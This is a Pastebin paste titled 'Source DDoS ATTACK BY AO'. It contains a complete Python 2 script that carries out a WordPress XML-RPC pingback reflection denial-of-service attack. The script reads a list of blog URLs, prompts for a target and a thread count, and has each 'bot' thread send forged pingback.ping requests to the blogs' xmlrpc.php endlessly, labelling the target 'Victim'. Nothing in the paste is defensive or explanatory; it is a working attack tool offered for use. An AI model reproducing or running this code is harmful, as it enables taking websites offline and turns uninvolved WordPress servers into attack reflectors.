HackerPro536

Source DDoS ATTACK BY AO

Feb 14th, 2016
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.08 KB | None | 0 0
  1. # Embedded file name: ddos.py
  2. import sys
  3. import socket
  4. import threading
  5. import time
  6. import os
  7. Lock = threading.Lock()
  8.  
  9. def main():
  10.     try:
  11.         in_file = open('list.txt', 'r')
  12.     except:
  13.         raw_input('You need a list.txt file to work')
  14.         sys.exit(0)
  15.  
  16.     os.system('title ...:: DDoS ATTACK BY AO ::... ')
  17.     print '\t*********************************************??**********************'
  18.     print '\t***6996****9669*****00000000***333333********?*****00000000**********'
  19.     print '\t***69*96***96*69****00****00***00***********00*****00****00**********'
  20.     print '\t***69**96**96**69***00****00****00********00*00****00****00**********'
  21.     print '\t***69***96*96***69**00****00*****00******0000000***00****00**********'
  22.     print '\t***69**96**96**69***00****00******00****00*****00**00****00**********'
  23.     print '\t***69*96***96*69****00****00*******00**00*******00*00****00**********'
  24.     print '\t***6996****9669*****00000000***333333**************00000000**********'
  25.     print '\t*********************************************************************'
  26.     num_thread = input('Number Of Bot: ')
  27.     url = raw_input('Target: ')
  28.     for i in range(num_thread):
  29.         try:
  30.             in_line = in_file.readline()
  31.             Thread1(url, i + 1, in_line).start()
  32.             in_line = in_line[:-1]
  33.         except:
  34.             pass
  35.  
  36.     time.sleep(3)
  37.  
  38.  
  39. class Thread1(threading.Thread):
  40.  
  41.     def __init__(self, url, number, blog):
  42.         self.url = url
  43.         self.number = number
  44.         self.blog = blog
  45.         threading.Thread.__init__(self)
  46.  
  47.     def run(self):
  48.         Lock.acquire()
  49.         print 'Starting thread #%s' % self.number
  50.         Lock.release()
  51.         function_pingback = "<?xml version='1.0' encoding='iso-8859-1'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>" % (self.url, self.blog)
  52.         request_lenght = len(function_pingback)
  53.         try:
  54.             self.blog_cleaned = self.blog.split('?p=')[0]
  55.             self.blog_cleaned1 = self.blog_cleaned.split('http://')[1].split('/')[0]
  56.         except:
  57.             sys.exit(0)
  58.  
  59.         request = 'POST %s/xmlrpc.php HTTP/1.0\r\nHost: %s\r\nUser-Agent: Internal Wordpress RPC connection\r\nContent-Type: text/xml\r\nContent-Length: %s\r\n\n<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>\r\n\r\n' % (self.blog_cleaned,
  60.          self.blog_cleaned1,
  61.          request_lenght,
  62.          self.url,
  63.          self.blog)
  64.         while True:
  65.             time.sleep(3)
  66.             try:
  67.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
  68.                 s.connect((self.blog_cleaned1, 80))
  69.                 s.send(request)
  70.                 print 'Bot %s | Victim %s' % (self.number, self.blog_cleaned1)
  71.             except:
  72.                 ok = 0
  73.  
  74.  
  75. main()
Advertisement
Add Comment
Please, Sign In to add comment